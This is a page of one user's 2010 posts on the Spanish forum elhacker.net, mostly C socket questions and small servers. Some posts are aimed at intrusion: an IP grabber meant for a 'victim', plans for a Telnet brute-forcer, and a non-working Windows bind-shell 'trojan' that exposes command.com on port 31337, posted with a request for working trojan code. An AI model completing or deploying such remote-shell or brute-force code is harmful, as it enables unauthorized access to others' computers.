elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


  Mostrar Temas
Páginas: 1 2 3 [4] 5 6
31  Programación / Programación C/C++ / [C] !!! Hacer un programa multiplataforma con ifdef !!! en: 28 Noviembre 2010, 16:34 pm
Buenas, estaba pensando como hacer un programa multiplataforma con los macros #ifdef y #endif, pero no se como. Hace poco vi un code, pero ya no se cual es, y no me acuerdo. Era preguntando con macros si el sistema era Win_(algo) o Unix_(Algo) y no me acuerdo de ese algo xD!!!

Como lo haria???
32  Programación / Programación C/C++ / [C] SmallServ!!! Disfrutadlo y opnidad!!! en: 22 Noviembre 2010, 19:48 pm
Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7.  
  8. #include <signal.h>
  9. #include <time.h>
  10.  
  11. int socketfd, newsocket;
  12. char *filename;
  13.  
  14. void shutup (int signal)
  15. {
  16. FILE *log;
  17. log=fopen (filename, "a+");
  18. times ();
  19. printf ("Shutting down...\n\n");
  20. fprintf (log, "Shutting down...\n\n");
  21. close (newsocket);
  22. close (socketfd);
  23. exit (0);
  24. }
  25.  
  26. int times ()
  27. {
  28. FILE *log;
  29. time_t now=time (0);
  30. struct tm *ahora;
  31. char buffer [40];
  32. ahora=localtime ((const time_t*)&now);
  33. strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  34. log=fopen (filename, "a+");
  35. printf ("%s   ", buffer);
  36. fprintf (log,"%s   ", buffer);
  37. return 0;
  38. }
  39.  
  40. int main (int argc, char *argv [])
  41. {
  42. time_t now=time (0);
  43. struct tm *ahora;
  44. char hora [40];
  45. ahora=localtime ((const time_t*)&now);
  46. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  47. printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
  48.  
  49. if (getuid()!=0)
  50. {
  51. printf ("This proccess must be run by root.\n\n");
  52. return 1;
  53. }
  54. if (argc<3)
  55. {
  56. printf ("Use: %s <PORT> <LOG> [MODE]\nMode:\t\t0) Fork the proccess to background [DEFAULT].\n\t\t1) Run in the terminal.\n\n", argv [0]);
  57. return 1;
  58. }
  59. int cont;
  60. FILE *log;
  61. struct sockaddr_in client, host;
  62. char buffer [1024];
  63. int size=sizeof (client);
  64.  
  65. filename = argv [2];
  66.  
  67. socketfd=socket (2, 1 ,  0);
  68. host.sin_family=AF_INET;
  69. host.sin_port=htons (atoi (argv [1]));
  70. host.sin_addr.s_addr=0;
  71. bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  72.  
  73. listen (socketfd, 3);
  74.  
  75. log=fopen (filename, "a+");
  76. times ();
  77. if (argv [3] != NULL && atoi (argv [3]) == 1)
  78. printf ("\nStarting up...\n\n");
  79. fprintf (log, "Starting up...\n\n");
  80.  
  81. signal (SIGTERM, shutup);
  82. signal (SIGINT, shutup);
  83.  
  84.  
  85. if (argv [3] == NULL || atoi (argv [3]) == 0)
  86. daemon (1, 0);
  87.  
  88. while (1)
  89. {
  90. newsocket=accept (socketfd, (struct sockaddr*)&client, &size);
  91.  
  92. log=fopen (filename, "a+");
  93. times ();
  94. printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  95. fprintf (log, "Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  96.  
  97. cont=recv (newsocket, &buffer, 1024, 0);
  98. while (cont>2)
  99. {
  100. printf ("%d", cont);
  101. log=fopen (filename, "a+");
  102. times ();
  103. buffer [cont-1]='\0';
  104. printf ("RECV %d bytes: %s ", cont-2, buffer);
  105. fprintf (log, "RECV %d bytes: %s\n", cont-2, buffer);
  106.  
  107. cont=recv (newsocket, &buffer, 1024, 0);
  108. }
  109. log=fopen (filename, "a+");
  110. times ();
  111. printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  112. fprintf (log, "Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  113. close (newsocket);
  114. }
  115. close (socketfd);
  116. return 0;
  117. }
  118.  

Si alguien cree que algo se puede mejorar, que postee xD
33  Programación / Programación C/C++ / [C] [?] ¿¿¿ Por que no me funciona la conex en una red dentro ??? en: 20 Noviembre 2010, 19:39 pm
Buenas, he desarrollado un programa que se conecta a X ip y escribe datos. El caso es que al poner el NC a la escucha se conectan pero no reciben datos...
Código
  1. while (cont!=0)
  2. {
  3. printf ("> ");
  4. fgets (buffer, 1024, stdin);
  5. cont=send (newsock, &buffer, strlen (buffer), 0);
  6. }
  7.  

NC:
Citar
nc -vlp 31337

Compilen y pongan uno a correr y el otro a la escucha en el mismo PC....
Se conectan y se desconectan sin decir nada....

Tambien pueden probar a meter un send y quitar todo el while, y el NC tampoco lo recibe. Tiene que ser un fallo en la conex... donde???
Me pueden ayudar???



EDITO:
Ya va correctamente jaja. El problema estaba en que mandaba los datos a newsock, que no estaba conectado....
Código
  1. while (cont!=0)
  2. {
  3. printf ("> ");
  4. fgets (buffer, 1024, stdin);
  5. cont=send (sockfd, &buffer, strlen (buffer), 0);
  6. }
  7.  
34  Sistemas Operativos / GNU/Linux / ¿¿¿ Small Linux Version Reducida ??? en: 20 Noviembre 2010, 18:42 pm
Buenas, estoy buscando un sistema operativo Linux sin X, y con los comandos basicos. Solo con lo minimo, y sin interfaz grafica. Evidentemente de poco peso. Conocen alguna distribucion o descarga parecida a lo que busco???

Por favor respondan lo antes posible... Muchas gracias de adelantado.
35  Programación / Programación C/C++ / !!! Help Linea de comandos diferentes opciones !!! en: 20 Noviembre 2010, 13:30 pm
Buenas, me ha surgido una duda bien sencilla, pero que no se resolver. Quiero decir:
Como hago para que mi programa haga diferentes cosas segun la linea de comandos. No me refiero al tipico argv [], sino a hacer un programa como un mini-NC en el que tu le indiques si quieres conectar,  abrir puertos, etc. La magia de este programa es la gran cantidad de opciones que da, fruto de un gran trabajo sin duda. Lo que quiero decir que el programa sepa identificar:
kc -l -p 31337
como
kc -v 192.168.1.1 -p 80
como
kc 192.168.1.1 -d
como infinitas posibilidades mas.

Si se dan cuenta estan en distintas posibilidades, el problema es que son infinitas...
Leyendo el code de NC te das cuenta de que todo esta organizado con flags y switches, pero como puedo hacerlo + sencillamente???

Si no me entienden pregunten, pues tengo mucho interes....
Gracias
36  Comunicaciones / Redes / Optencion de IP privada por mi programa en: 18 Noviembre 2010, 21:08 pm
Buenas, desarrolle un programa que recogia la Ip del que se conectase a mi ordenador en el puerto 80.
El caso es que no me di cuenta que tengo un router ADSL que me hace mi Ip privada, y si la intento rastrear para decirsela a mi victima me dice la de mi router.
Como hago que mi ip sea publica?
Otro metodo seria Hotmail, pero me interesa eso porque la peticion del navegador incluye info. importante como versiones, etc... xD

La cosa seria hacer mi Ip privada. De redes fuera de programacion no tengo muxa idea, a ver si me pueden ayudar xD...
Posteare el programa el 1 de dic. pues voy a modif. para el concurso de programacion xD pero solo guarda la peticion del navegador y algo mas. Lo voy a hacer un mini-server xD...

Gracias de adelantado!
37  Programación / Programación C/C++ / Duda IP !!! en: 13 Noviembre 2010, 11:36 am
Buenas, escribo este post para preguntar lo siguiente: ¿Como puedo sacar una IP de un sistema, cuando tengo un router (conex. privada)?

Para obtener la IP, lo que hice fue un sencillo programa, abajo posteado, que me dijese la IP y el puerto de quien se conectase a mi ordenador. El programa espera una conex. en determinado puerto, y si alguien se conecta, consigo su IP.  El caso es que mis pruebas no funcionan debido a que al iniciar el programa resulta que al obtener una conex. que yo abro desde Firefox me dice la IP de mi ordenador, privada: 192.168....
Lo cual no sirve. Estoy programando en C, Linux, ADSL

Alguna idea en el codigo, u forma?
Código
  1. #include <stdio.h>
  2.  
  3. #include <stdlib.h>
  4.  
  5. #include <string.h>
  6.  
  7. #include <sys/socket.h>
  8.  
  9. #include <arpa/inet.h>
  10.  
  11.  
  12.  
  13. int sockfd, newsock;
  14.  
  15.  
  16.  
  17. int finalizar (int state)
  18.  
  19. {
  20.  
  21. printf("[+] Finalizando...");
  22.  
  23. close (sockfd);
  24.  
  25.        close (newsock);
  26.  
  27. printf("\t[OK]\n\n");
  28.  
  29. exit (state);
  30.  
  31. }
  32.  
  33.  
  34.  
  35. int main ()
  36.  
  37. {
  38.  
  39. printf ("\n");
  40.  
  41. printf ("#***************************************#\n");
  42.  
  43. printf ("#       -[ GetIP - by Sagrini ]-        #\n");
  44.  
  45. printf ("#  -----------------------------------  #\n");
  46.  
  47. printf ("#          Hacking programming          #\n");
  48.  
  49. printf ("#***************************************#\n\n\n");
  50.  
  51.  
  52.  
  53. struct sockaddr_in host, client;
  54.  
  55. int a=sizeof (struct sockaddr);
  56.  
  57. char pass [30];
  58.  
  59.  
  60.  
  61. printf("[+] Creando el Socket...");
  62.  
  63.  
  64.  
  65. if ((sockfd=socket (2, 1, 0))!=-1) printf ("[OK]\n");
  66.  
  67. else {printf("[FAIL]\n"); finalizar (1);}
  68.  
  69.  
  70.  
  71. host.sin_port=htons(31337);
  72.  
  73. host.sin_family=AF_INET;
  74.  
  75. host.sin_addr.s_addr=0;
  76.  
  77. memset (host.sin_zero, 0, 8);
  78.  
  79.  
  80.  
  81. printf ("[+] Bindeando...");
  82.  
  83. if(bind(sockfd,(struct sockaddr*)&host,sizeof(host))==-1) {printf("\t[FAIL]\n"); finalizar (1);}
  84.  
  85. else printf ("\t[OK]\n");
  86.  
  87.  
  88.  
  89. printf ("[+] Listening...");
  90.  
  91. if(listen(sockfd,5)==-1) {printf("\t[FAIL]\n");finalizar (1);}
  92.  
  93. else printf("\t[OK]\n");
  94.  
  95.  
  96.  
  97. printf("[+] Esperando cliente...");
  98.  
  99. if((newsock=accept(sockfd, (struct sockaddr*)&client, &a))==-1) {printf("[FAIL]\n");finalizar (1);}
  100.  
  101. else printf("[OK]\n\n");
  102.  
  103.  
  104.  
  105. printf("[+] Conexion establecida con %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));;
  106.  
  107. finalizar (0);
  108.  
  109. }
  110.  
  111.  

Gracias
38  Programación / Programación C/C++ / [C] University Post en: 5 Octubre 2010, 20:09 pm
Buenas, soy Sagrini, un "cliente" habitual de este foro. Me he dado cuenta de que (aún) no existe ningún post que recoja los diferentes post de "tareas de universidad". Me explico: En este foro hay mucha gente que aún no está en la universidad, y le quedan varios años (como yo xD ya tengo 11). Por lo que propongo ir recogiendo aqui post de tareas (OBLIGATORIAMENTE PASADA LA FECHA DE ENTREGA DE ESTAS), que recogan problemas de todo tipo de programación en la universidad. Estos se pueden ir colgando en diferentes hilos de este post. Así ayudarán a algunos que no somos tan afortunados de estar en la universidad xD...

En resumen: Cada uno cuelga algunas tareas o preguntas que se den en clase, y así todos podemos pensar en ellas. Aviso que está prohibido hacer tareas, por lo que la pregunta debe ir acompañanda de su respuesta propia y de la fecha de entrega final.

Espero su colaboración, y les propongo un pequeño code para hacer raices cuadradas perfectas del 1 al 1000 (nos amenazaron con ponernoslas de deberes, y las hice por computer xD).
http://www.scribd.com/doc/38770692/sqrt


Espero su colaboracion y opinion
Saludos
39  Programación / Programación C/C++ / Projecto EvilBruteforce en: 14 Septiembre 2010, 18:33 pm
Buenas, estoy trabajando en un bruteforce de Telnet, llamado Evil Bruteforce. El caso es que para hacerlo primero hice un server telnet, solo que en el port 31337, pues es una prueba. Sin embargo, tengo dos problemillas con el server:
1. Presentación: Este, aunque es un fallo sin importancia, me mosquea. Despues del listening, deberia aparecer un letrerito "
  • Esperando cliente...", pero no sale hasta que alguien se conecta. El segundo fallo tiene mas importancia, pero me gustaria saber pork no va...
2. Fallos continuos: Si compilan mi server, este va la primera vez. Solo hay que meter la contraseña para que el bruteforce sea sencillo, pero luego lo  perfeccionare xD. Sin embargo, al correr la segunda vez, suelta un fallo en Binding. Estos fallos se producen porque no se tienen privilegios para hacer el binding (puertos bajos), o que el port esta usado. Si el port esta usado es porque: o no cerre bien el port cuando acabe el primer programa, o otro programa lo esta usando (el primero no se ha cerrado y sigue operativo). Para resolver estas dos cuestiones cree una funcion de acabado de programa, y quite el bucle for () infinito. Aun asi, no va.

Alguien me puede ayudar???
Código
  1. #include <stdio.h>
  2.  
  3. #include <stdlib.h>
  4.  
  5. #include <string.h>
  6.  
  7. #include <sys/socket.h>
  8.  
  9. #include <arpa/inet.h>
  10.  
  11.  
  12.  
  13. int sockfd, newsock;
  14.  
  15.  
  16.  
  17. int finalizar (int state)
  18.  
  19. {
  20.  
  21.    printf("[+] Finalizando...");
  22.  
  23.    close (sockfd);
  24.  
  25.        close (newsock);
  26.  
  27.    printf("\t[OK]\n\n");
  28.  
  29.    exit (1);
  30.  
  31. }
  32.  
  33.  
  34.  
  35. int main ()
  36.  
  37. {
  38.  
  39. printf ("\n");
  40.  
  41. printf ("#*************************************#\n");
  42.  
  43. printf ("# -[ EvilBruteforce.0 - by Sagrini ]- #\n");
  44.  
  45. printf ("#  ---------------------------------  #\n");
  46.  
  47. printf ("#          Telnet Bruteforce          #\n");
  48.  
  49. printf ("#*************************************#\n\n\n");
  50.  
  51.  
  52.    struct sockaddr_in host, client;
  53.  
  54.    int a=sizeof (struct sockaddr);
  55.  
  56.    char pass [30];
  57.  
  58.  
  59.  
  60.    printf("[+] Creando el Socket...");
  61.  
  62.    if ((sockfd=socket (2, 1, 0))!=-1)
  63.  
  64.        printf ("[OK]\n");
  65.  
  66.    else
  67.  
  68.    {
  69.  
  70.        printf("[FAIL]\n");
  71.  
  72.        finalizar (1);
  73.  
  74.    }
  75.  
  76.    host.sin_port=htons(31337);
  77.  
  78.    host.sin_family=AF_INET;
  79.  
  80.    host.sin_addr.s_addr=0;
  81.  
  82.    memset (host.sin_zero, 0, 8);
  83.  
  84.  
  85.  
  86.    printf ("[+] Bindeando...");
  87.  
  88.    if(bind(sockfd,(struct sockaddr*)&host,sizeof(host))==-1)
  89.  
  90.    {
  91.  
  92.        printf("\t[FAIL]\n");
  93.  
  94.        finalizar (1);
  95.  
  96.    }
  97.  
  98.    printf ("\t[OK]\n");
  99.  
  100.  
  101.  
  102.    printf ("[+] Listening...");
  103.  
  104.    if(listen(sockfd,5)==-1)
  105.  
  106.    {
  107.  
  108.        printf("\t[FAIL]\n");
  109.  
  110.        finalizar (1);
  111.  
  112.    }
  113.  
  114.    else
  115.  
  116.        printf("\t[OK]\n");
  117.  
  118.  
  119.  
  120.    printf("[+] Esperando cliente...");
  121.  
  122.    if((newsock=accept(sockfd, (struct sockaddr*)&client, &a))==-1)
  123.  
  124.    {
  125.  
  126.        printf("[FAIL]\n");
  127.  
  128.        finalizar (1);
  129.  
  130.    }
  131.  
  132.    else
  133.  
  134.        printf("[OK]\n\n");
  135.  
  136.  
  137.  
  138.    printf("[+] Conexion establecida.\n");
  139.  
  140.    send (newsock, "Password: ", 11, 0);
  141.  
  142.    recv (newsock, &pass, 30, 0);
  143.  
  144.    if (strcmp (pass, "strike\n")==1)
  145.  
  146.    {
  147.  
  148.        printf (" ==> Access granted\n\n");
  149.  
  150.        send (newsock, " ==> Access granted.\n\n", 23, 0);
  151.  
  152.    }
  153.  
  154.    else
  155.  
  156.    {
  157.  
  158.        printf (" ==> Access denied.\n\n");
  159.  
  160.        send (newsock, " ==> Access denied.\n\n", 22, 0);
  161.  
  162.    }
  163.  
  164.    finalizar (0);
  165.  
  166. }
  167.  
  168.  

Evidentemente, este code es bastante simple, pero no funciona como deberia. Pueden ayudarme?
Saludos y muchas gracias.
40  Programación / Programación C/C++ / [C] Code troyano conexion directa en: 8 Septiembre 2010, 13:00 pm
Bueno, llevo mucho tiempo con este tema, y aun no lo he conseguido resolver. LLevo ya una semana buscando por el foro y googleando, pero no consigo encontrar ningun codigo en "C" de un troyano de conexion directa, para conseguir hacer yo uno, pues el de conex. inversa es realmente facil. Vosotros me aconsejasteis lo de las pipes, tuberias, pero no consigo que me funcione. He visto muchos codes de las pipes ("http://members.fortunecity.com/haxprt/casos_discucion/Servicio_Shell_Remota.html", si alguien kiere mirar) , pero no consigo que mi troyano funcione. He hecho varios codes, pero ninguno funciona....
Lo que os pido es que pongais aqui algunos codes de troyanos de conex. directa o hilos que no he conseguido encontrar...
Si alguno quiere ver el codigo de las pipe que no va...
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <winsock.h>
  4.  
  5. HANDLE Out, In, Err;
  6. HANDLE hThread[3];
  7. DWORD IDThread[3];
  8. STARTUPINFO Stup;
  9. SOCKET newsock;
  10. SOCKET sockfd;
  11.  
  12. DWORD WINAPI Lectura(LPVOID lpvThreadParm)
  13. {
  14.   char buffer;
  15.   unsigned long BytesRead;
  16.   int n;
  17.   while(1)
  18.   {
  19.   ReadFile(Out, &buffer, 1, &BytesRead, NULL);
  20.   n= send(sockfd, &buffer, 1, 0);
  21.   }
  22.   return 0;
  23. }
  24. DWORD WINAPI Escritura(LPVOID lpvThreadParm)
  25. {
  26.   char buffer;
  27.   unsigned long BytesRead;
  28.   int n;
  29.   while(1)
  30.   {
  31.   ReadFile(In, &buffer, 1, &BytesRead, NULL);
  32.   n= send(sockfd, &buffer, 1, 0);
  33.   }
  34.   return 0;
  35. }
  36. DWORD WINAPI LecturaError(LPVOID lpvThreadParm)
  37. {
  38.   char buffer;
  39.   unsigned long BytesRead;
  40.   int n;
  41.   while(1)
  42.   {
  43.   ReadFile(Err, &buffer, 1, &BytesRead, NULL);
  44.   n= send(sockfd, &buffer, 1, 0);
  45.   }
  46.   return 0;
  47. }
  48.  
  49. int ShellCode ()
  50. {
  51. CreatePipe (&Out, &Out, NULL, 0);
  52. CreatePipe (&In, &In, NULL, 0);
  53. CreatePipe (&Err, &Err, NULL, 0);
  54.  
  55. Stup.cb=sizeof (Stup);
  56. Stup.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
  57. Stup.wShowWindow = 0;
  58. Stup.hStdOutput = Out;
  59. Stup.hStdError = Err;
  60. Stup.hStdInput = In;
  61. CreateProcess (NULL, "command.com", NULL, NULL, 0, 0, NULL, NULL, &Stup, NULL);
  62.  
  63. hThread[0] = CreateThread(NULL, 0, Lectura, NULL, 0, &IDThread[0]);
  64. hThread[1] = CreateThread(NULL, 0, LecturaError, NULL, 0, &IDThread[1]);
  65. hThread[2] = CreateThread(NULL, 0, Escritura, NULL, 0, &IDThread[2]);
  66.  
  67. WaitForMultipleObjects( 3, hThread, TRUE, INFINITE);
  68. CloseHandle(hThread[0]);
  69. CloseHandle(hThread[1]);
  70. CloseHandle(hThread[2]);
  71. }
  72.  
  73. int main ()
  74. {
  75.    WSADATA wsaData;
  76.    WSAStartup(MAKEWORD(2, 0), &wsaData);
  77.    struct sockaddr_in host, client;
  78.    int a=sizeof (struct sockaddr);
  79.    sockfd=socket (2, 1, 0);
  80.    host.sin_family=AF_INET;
  81.    host.sin_addr.s_addr=0;
  82.    host.sin_port=htons (31337);
  83.    memset (host.sin_zero, 0, 8);
  84.    bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  85.    listen (sockfd, 1);
  86.    while (1)
  87.    {
  88.        newsock=accept (sockfd, (struct sockaddr*)&client, &a);
  89. ShellCode ();
  90.        closesocket (newsock);
  91.    }
  92.    closesocket (sockfd);
  93.    return 0;
  94. }
  95.  
Producto de el vinculo de antes. No funciona correctamente.

Si alguno tiene sugerencias, codes buenos, o vinculos interesantes, que, por favor, los publique aqui lo antes posible.
Muchas gracias a todos.
Páginas: 1 2 3 [4] 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines